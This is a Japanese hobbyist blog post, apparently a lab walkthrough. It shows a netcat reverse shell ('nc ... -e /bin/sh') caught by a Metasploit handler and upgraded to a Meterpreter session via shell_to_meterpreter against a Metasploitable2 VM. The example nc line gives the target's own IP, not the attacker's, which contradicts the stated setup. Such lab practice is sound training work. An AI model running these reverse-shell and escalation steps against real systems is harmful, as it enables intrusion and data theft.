とある親父の侵入実験【NetcatからMeterpreterへ】
今日のお題は「Netcat」
Netcatは、Unix系OSコマンドラインアプリケーションの一つ。TCPやUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワークを扱う万能ツールとして知られる。後にWindows版なども登場している。
と、ウィキペディアでは紹介されているペネトレーションテストでは、何かとお世話になっている通信用のアプリケーション
これまでも、イベント等で脆弱性を見つけて、exploitしてみたらncで接続されたなんてことがありました。でも、やっぱりmeterpreterで操作できると便利なんだよね
(俺自身のレベルがまだまだ低いからw)
てか、そんなわけでnetcatで接続したセッションをmeterpreterへエスカレーションする手段についてまとめてみたいと思う
準備したもの
環境(仮想環境)
- Kali Linux(192.168.1.100)
- Metasploitable2 (192.168.1.200)
1 接続
まず、Kali側でポートを指定して待ち受けしてやります。
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run
これで実行すると待ち受け状態になる
そうしたら次はMetasploit側へ
metasploitable側からncコマンドを使ってKaliへ接続をします
nc 攻撃側IPアドレス 待受ポート番号 -e /bin/sh
nc 192.168.1.200 4444 -e /bin/sh
そうするとKali側では
metasploitable側からの接続を受けてCommand Shellでのセッションが開く
ここで「control + z」を押してセッションをバックグラウンドへ移行する
Background session 1? [y/N] y
もとのコンソールに戻ってきたら一度「session」コマンドで確認
2 昇格
次にmeterpreterへエスカレーションするモジュールをポストしてやる
msf exploit(handler) > use post/multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > set session 1
session => 1
msf post(shell_to_meterpreter) > run
payloadが送信され今度はmeterpreterでのセッションが開いたことが確認できる
「session」コマンドで確認
「session -i 2」で、meterpreterセッションに接続
見事にmeterpreterでmetasploitableに接続できている!
3 結論
なんでこんなことをやったかというと、ここ最近のインシデントレスポンス系のイベントに参加した際に、ncで接続まではこじつけたのにそのあとファイルを奪取できなかったとか、対象端末の情報を搾取できなかったことが何度かありました。そんな時、レベルの低い自分としては「あー、meterpreterで接続とかできたらよかったのに(T . T)」
まぁレベル高い人からすると「ncコマンドが使える時点でなんでもできるよw」って笑われるんですけどね・・・。
とりあえず、俺の中でのnetcatへのリベンジ完了!!